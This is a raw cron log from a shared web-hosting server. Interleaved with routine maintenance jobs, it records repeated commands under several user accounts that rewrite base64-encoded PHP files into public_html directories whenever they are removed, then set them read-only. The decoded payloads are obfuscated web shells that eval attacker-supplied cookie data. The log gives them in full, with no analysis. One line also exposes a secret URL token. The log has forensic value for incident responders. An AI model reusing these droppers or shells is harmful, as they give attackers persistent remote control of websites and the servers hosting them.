Mar  2 00:51:02 medusa CROND[2155]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:51:02 medusa CROND[2160]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:51:02 medusa CROND[2163]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:51:02 medusa CROND[2164]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:51:02 medusa CROND[2162]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:51:02 medusa CROND[2165]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:51:02 medusa CROND[2169]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:51:02 medusa CROND[2170]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:51:02 medusa CROND[2173]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:51:02 medusa CROND[2189]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:52:02 medusa CROND[7503]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:52:02 medusa CROND[7504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:52:02 medusa CROND[7505]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:52:02 medusa CROND[7506]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:52:02 medusa CROND[7509]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:52:02 medusa CROND[7508]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:52:02 medusa CROND[7510]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:52:02 medusa CROND[7520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:52:02 medusa CROND[7522]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:52:02 medusa CROND[7521]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:52:02 medusa CROND[7523]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:52:02 medusa CROND[7524]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:52:02 medusa CROND[7525]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:53:01 medusa CROND[12330]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:53:01 medusa CROND[12336]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:53:01 medusa CROND[12337]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:53:01 medusa CROND[12338]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
